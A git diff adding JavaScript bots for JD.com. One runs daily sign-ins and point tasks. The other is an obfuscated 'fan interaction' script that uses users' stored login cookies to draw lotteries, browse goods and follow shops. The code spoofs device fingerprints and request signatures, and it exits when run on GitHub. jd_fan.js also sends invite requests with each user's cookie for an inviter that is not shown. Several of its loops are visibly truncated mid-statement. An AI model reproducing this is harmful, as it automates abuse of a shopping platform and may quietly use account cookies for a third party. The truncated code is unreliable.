'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.UUID = getUUID('xxxxxxxxxxxxxxxx'); + await main() + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + $.log("去签到") + await usersign() + await tasklist(); + if ($.tasklist) { + for (let i = 0; i < $.tasklist.length; i++) { + console.log(`去领取${$.tasklist[i].taskDesc}任务`) + await taskrecord($.tasklist[i].id) + await $.wait(3000); + console.log(`去领取积分`) + await taskreceive($.tasklist[i].id) + } + } +} +async function taskrecord(id) { + enc = await sign(id + "1") + let body = { "id": id, "agentNum": "m", "taskType": 1, "followChannelStatus": "", ...enc } + return new Promise(resolve => { + $.post(taskPostUrl("task/dwRecord", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200) { + if (data.data.dwUserTask) { + $.log(" 领取任务成功") + } else { + $.log(" 此任务已经领取过了") + } + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +async function taskreceive(id) { + enc = await sign(id) + let body = { "id": id, ...enc } + return new Promise(resolve => { + $.post(taskPostUrl("task/dwReceive", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200 && data.data.success) { + console.log(` 领取任务积分:获得${data.data.giveScoreNum}`) + } else if (data.code === 200 && !data.data.success) { + console.log(" 积分已经领取完了") + } else { + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function usersign() { + body = await sign() + return new Promise(resolve => { + $.post(taskPostUrl("dwSign", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + if (data.code === 200) { + console.log(`签到成功:获得积分${data.data.signInfo.signNum}\n`) + } else { + console.log("似乎签到完成了\n") + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function tasklist() { + body = await sign() + return new Promise(resolve => { + $.post(taskPostUrl("task/dwList", body), (err, resp, data) => { + try { + if (err) { + console.log(`${err}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + if (data) { + $.tasklist = data.data + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://dwapp.jd.com/user/${function_id}`, + body: JSON.stringify(body), + headers: { + "Host": "dwapp.jd.com", + "Origin": "https://prodev.m.jd.com", + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": `jdapp;iPhone;10.1.0;13.5;${$.UUID};network/wifi;model/iPhone11,6;addressid/4596882376;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/mall/active/eEcYM32eezJB7YX4SBihziJCiGV/index.html", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/json", + "Cookie": cookie, + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +async function sign(en) { + time = new Date().getTime(); + let encStr = en || ''; + const encTail = `${time}e9c398ffcb2d4824b4d0a703e38yffdd`; + encStr = CryptoJS.MD5(encStr + encTail).toString() + return { "t": time, "encStr": encStr } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fan.js b/jd_fan.js new file mode 100644 index 0000000..d3ab0e9 --- /dev/null +++ b/jd_fan.js @@ -0,0 +1,734 @@ +/* + 粉丝互动 + cron 10 1 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_fan.js + 蚊子腿活动,不定时更新 + 环境变量:RUHUI,是否自动入会,开卡算法已失效,默认不开卡了 + 环境变量:RUNCK,执行多少CK,默认全执行,设置RUNCK=10,则脚本只会运行前10个CK +* */ +const $ = new Env('粉丝互动-加密'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const RUHUI = '888' +const RUNCK = $.isNode() ? (process.env.RUNCK ? process.env.RUNCK : `9999`):`9999`; +let cookiesArr = [],message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +let activityList = [ + {'id':'a5af3f9c0af6450bbb93fef7d5f98ce','endTime':1656626274000},// + {'id':'cdce9f67e577420084fcf7a749a86241','endTime':1656626274000},// + {'id':'b7ec89d5067f4f86bb77c8c371832280','endTime':1656626274000},// + {'id':'c923f03a1cc144edab77975e6c792436','endTime':1656626274000},// + {'id':'afc7e69486954594987afc57a055c6a9','endTime':1656626274000},// + + +]; +!(async()=>{ + activityList=getRandomArrayElements(activityList,activityList.length); + $.helpFalg=true; + for(let _0x2e674b=0;_0x2e674b{ + $.log('','❌ '+$.name+', 失败! 原因: '+_0xce13bb+'!',''); +}).finally(()=>{ + $.done(); +}); +async function main(_0x3f7ec5){ + _0x3f7ec5.cookiesArr=cookiesArr; + message=''; + _0x3f7ec5.activityId=getUrlData(_0x3f7ec5.thisActivityUrl,'activityId'); + _0x3f7ec5.runFlag=true; + if(_0x3f7ec5.helpFalg){ + doInfo(); + }for(let _0x42703b=0;_0x42703b<_0x3f7ec5.cookiesArr.length&&(_0x42703b{}); +} +async function invite2(_0x36e51c,_0x97b630){ + let _0x577470=Date.now(); + let _0x24b1af={ + 'Host':'api.m.jd.com','accept':'application/json, text/plain, */*','content-type':'application/x-www-form-urlencoded','origin':'https://assignment.jd.com','accept-language':'zh-cn','user-agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','referer':'https://assignment.jd.com/?inviterId='+encodeURIComponent(_0x97b630),'Cookie':_0x36e51c + }; + let _0x33c1bd='functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"'+encodeURIComponent(_0x97b630)+'","type":1}}&appid=market-task-h5&uuid=&_t='+_0x577470; + var _0x30d5e1={'url':'https://api.m.jd.com/','headers':_0x24b1af,'body':_0x33c1bd}; + $.post(_0x30d5e1,(_0x36a3f1,_0x5a5a0a,_0x1fe685)=>{}); +} +function invite3(_0x124be8,_0x95cb67){ + let _0x243f31=+new Date(); + let _0x5e0330={'url':'https://api.m.jd.com/?t='+_0x243f31,'body':'functionId=InviteFriendChangeAssertsService&body='+JSON.stringify({'method':'attendInviteActivity','data':{'inviterPin':encodeURIComponent(_0x95cb67),'channel':1,'token':'','frontendInitStatus':''}})+'&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t='+_0x243f31,'headers':{ + 'Host':'api.m.jd.com','Accept':'application/json, text/plain, */*','Content-type':'application/x-www-form-urlencoded','Origin':'https://invite-reward.jd.com','Accept-Language':'zh-CN,zh-Hans;q=0.9','User-Agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Referer':'https://invite-reward.jd.com/','Accept-Encoding':'gzip, deflate, br','Cookie':_0x124be8 + }}; + $.post(_0x5e0330,(_0x53cb25,_0x3d3420,_0x345c93)=>{}); +} +function invite4(_0x4ce7d3,_0x13691e){ + let _0x67f7ab={'url':'https://api.m.jd.com/','body':'functionId=TaskInviteService&body='+JSON.stringify({'method':'participateInviteTask','data':{'channel':'1','encryptionInviterPin':encodeURIComponent(_0x13691e),'type':1}})+'&appid=market-task-h5&uuid=&_t='+Date.now(),'headers':{ + 'Host':'api.m.jd.com','Accept':'application/json, text/plain, */*','Content-Type':'application/x-www-form-urlencoded','Origin':'https://assignment.jd.com','Accept-Language':'zh-CN,zh-Hans;q=0.9','User-Agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Referer':'https://assignment.jd.com/','Accept-Encoding':'gzip, deflate, br','Cookie':_0x4ce7d3 + }}; + $.post(_0x67f7ab,(_0x29e91a,_0x5baf9c,_0x467f38)=>{}); +} +async function runMain(_0x40ebb9){ + _0x40ebb9.UA=_0x40ebb9.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require('./USER_AGENTS').USER_AGENT:_0x40ebb9.getdata('JDUA')?_0x40ebb9.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',_0x40ebb9.token=''; + _0x40ebb9.LZ_TOKEN_KEY=''; + _0x40ebb9.LZ_TOKEN_VALUE=''; + _0x40ebb9.lz_jdpin_token=''; + _0x40ebb9.pin=''; + _0x40ebb9.nickname=''; + _0x40ebb9.venderId=''; + _0x40ebb9.activityType=''; + _0x40ebb9.attrTouXiang='https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png'; + console.log('活动地址:'+_0x40ebb9.thisActivityUrl); + _0x40ebb9.body='body=%7B%22url%22%3A%22https%3A%2F%2Flzkjdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&clientVersion=9.2.2&build=89568&client=android&uuid=b4d0d21978ef8579305f30d52065ffedcc573c2d&st=1643784769190&sign=d6ab868c42dcc3d04c2b95b2aea9014c&sv=111'; + _0x40ebb9.token=await getToken(_0x40ebb9); + if(!_0x40ebb9.token){ + console.log('获取token失败'); + return; + } + await getHtml(_0x40ebb9); + if(!_0x40ebb9.LZ_TOKEN_KEY||!_0x40ebb9.LZ_TOKEN_VALUE){ + console.log('初始化失败1'); + return; + } + let _0x4c9e98=await takePostRequest(_0x40ebb9,'customer/getSimpleActInfoVo'); + _0x40ebb9.venderId=_0x4c9e98.data.venderId||''; + _0x40ebb9.activityType=_0x4c9e98.data.activityType||''; + console.log('venderId:'+_0x40ebb9.venderId); + let _0xfab866=await takePostRequest(_0x40ebb9,'customer/getMyPing'); + _0x40ebb9.pin=_0xfab866.data.secretPin; + _0x40ebb9.nickname=_0xfab866.data.nickname; + if(!_0x40ebb9.pin){ + console.log('获取pin失败,该账号可能是黑号'); + return; + } + await takePostRequest(_0x40ebb9,'common/accessLogWithAD'); + let _0x851536=await takePostRequest(_0x40ebb9,'wxActionCommon/getUserInfo'); + let _0x3343be=await takePostRequest(_0x40ebb9,'wxActionCommon/getShopInfoVO'); + let _0x174237=await takePostRequest(_0x40ebb9,'wxCommonInfo/getActMemberInfo'); + if(_0x851536&&_0x851536.data&&_0x851536.data.yunMidImageUrl){ + _0x40ebb9.attrTouXiang=_0x851536.data.yunMidImageUrl; + } + let _0x11a7bd=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/activityContent'); + _0x40ebb9.activityData=_0x11a7bd.data||{}; + _0x40ebb9.actinfo=_0x40ebb9.activityData.actInfo; + _0x40ebb9.actorInfo=_0x40ebb9.activityData.actorInfo; + _0x40ebb9.nowUseValue=(Number(_0x40ebb9.actorInfo.fansLoveValue)+Number(_0x40ebb9.actorInfo.energyValue)); + if(JSON.stringify(_0x40ebb9.activityData)==='{}'){ + console.log('获取活动信息失败'); + return; + } + let _0x452779=new Date(_0x40ebb9.activityData.actInfo.endTime); + let _0x3b061a=(_0x452779.getFullYear()+'-'+_0x452779.getMonth()<10?('0'+_0x452779.getMonth()+1):(_0x452779.getMonth()+1)+'-'+_0x452779.getDate()<10?'0'+_0x452779.getDate():_0x452779.getDate()); + _0x452779=new Date(_0x40ebb9.activityData.actInfo.startTime); + let _0x29384a=(_0x452779.getFullYear()+'-'+_0x452779.getMonth()<10?'0'+(_0x452779.getMonth()+1):(_0x452779.getMonth()+1))+'-'+((_0x452779.getDate()<10)?('0'+_0x452779.getDate()):_0x452779.getDate()); + console.log(_0x40ebb9.actinfo.actName+','+_0x3343be.data.shopName+',当前积分:'+_0x40ebb9.nowUseValue+',活动时间:'+_0x29384a+'---'+_0x3b061a+','+_0x40ebb9.activityData.actInfo.endTime); + let _0x14474d=[]; + let _0x3fea64=['One','Two','Three']; + for(let _0x377d67=0;_0x377d67<_0x3fea64.length;_0x377d67++){ + let _0xc7c5a0=_0x40ebb9.activityData.actInfo['giftLevel'+_0x3fea64[_0x377d67]]||''; + if(_0xc7c5a0){ + _0xc7c5a0=JSON.parse(_0xc7c5a0); + _0x14474d.push(_0xc7c5a0[0].name); + } + } + console.log('奖品列表:'+_0x14474d.toString()); + if(_0x40ebb9.actorInfo.prizeOneStatus&&_0x40ebb9.actorInfo.prizeTwoStatus&&_0x40ebb9.actorInfo.prizeThreeStatus){ + console.log('已完成抽奖'); + return; + } + if((_0x174237.data.actMemberStatus===1)&&!_0x174237.data.openCard){ + console.log('活动需要入会后才能参与'); + if(Number(RUHUI)===1){ + console.log('去入会'); + await join(_0x40ebb9); + _0x11a7bd=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/activityContent'); + _0x40ebb9.activityData=_0x11a7bd.data||{}; + await _0x40ebb9.wait(3000); + }else{ + console.log('不执行入会,跳出'); + return; + } + return; + }else if(_0x174237.data.openCard){ + console.log('已入会'); + } + if(_0x40ebb9.activityData.actorInfo&&!_0x40ebb9.activityData.actorInfo.follow){ + console.log('去关注店铺'); + _0x40ebb9.body='activityId='+_0x40ebb9.activityId+'&uuid='+_0x40ebb9.activityData.actorInfo.uuid; + let _0x477c01=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/followShop',_0x40ebb9.body); + console.log(JSON.stringify(_0x477c01)); + await _0x40ebb9.wait(3000); + } + _0x40ebb9.upFlag=false; + await doTask(_0x40ebb9); + await luckDraw(_0x40ebb9); +} +async function luckDraw(_0x13737e){ + if(_0x13737e.upFlag){ + activityData=await takePostRequest(_0x13737e,'wxFansInterActionActivity/activityContent'); + _0x13737e.activityData=activityData.data||{}; + await _0x13737e.wait(3000); + } + let _0x2b7411=(Number(_0x13737e.activityData.actorInfo.fansLoveValue)+Number(_0x13737e.activityData.actorInfo.energyValue)); + let _0x47ddad=['One','Two','Three']; + let _0x58a1c5={'One':'01','Two':'02','Three':'03'}; + for(let _0x1b895e=0;_0x1b895e<_0x47ddad.length;_0x1b895e++){ + if((_0x2b7411>=_0x13737e.activityData.actConfig['prizeScore'+_0x47ddad[_0x1b895e]])&&_0x13737e.activityData.actorInfo['prize'+_0x47ddad[_0x1b895e]+'Status']===false){ + console.log('\n开始第'+Number(_0x58a1c5[_0x47ddad[_0x1b895e]])+'次抽奖'); + _0x13737e.body='activityId='+_0x13737e.activityId+'&uuid='+_0x13737e.activityData.actorInfo.uuid+'&drawType='+_0x58a1c5[_0x47ddad[_0x1b895e]]; + let _0x55478a=await takePostRequest(_0x13737e,'wxFansInterActionActivity/startDraw',_0x13737e.body); + if(_0x55478a.result&&_0x55478a.count===0){ + let _0x5e600e=_0x55478a.data; + if(!_0x5e600e.drawOk){ + console.log('抽奖获得:空气'); + }else{ + console.log('抽奖获得:'+_0x5e600e.name); + message+=_0x13737e.UserName+',获得:'+(_0x5e600e.name||'未知')+'\n'; + } + }else{ + console.log('抽奖异常'); + } + console.log(JSON.stringify(_0x55478a)); + await _0x13737e.wait(3000); + } + } +} +async function doTask(_0x23c295){ + let _0x90a7c2=0; + if(_0x23c295.activityData.task2BrowGoods){ + if(_0x23c295.activityData.task2BrowGoods.finishedCount!==_0x23c295.activityData.task2BrowGoods.upLimit){ + _0x90a7c2=(Number(_0x23c295.activityData.task2BrowGoods.upLimit)-Number(_0x23c295.activityData.task2BrowGoods.finishedCount)); + console.log('开始做浏览商品任务'); + _0x23c295.upFlag=true; + for(let _0x57ea0c=0;_0x57ea0c<_0x23c295.activityData.task2BrowGoods.taskGoodList.length&&_0x90a7c2>0;_0x57ea0c++){ + _0x23c295.oneGoodInfo=_0x23c295.activityData.task2BrowGoods.taskGoodList[_0x57ea0c]; + if(_0x23c295.oneGoodInfo.finished===false){ + console.log('浏览:'+(_0x23c295.oneGoodInfo.skuName||'')); + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&skuId='+_0x23c295.oneGoodInfo.skuId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doBrowGoodsTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('浏览商品任务已完成'); + } + } + if(_0x23c295.activityData.task3AddCart){ + if(_0x23c295.activityData.task3AddCart.finishedCount!==_0x23c295.activityData.task3AddCart.upLimit){ + 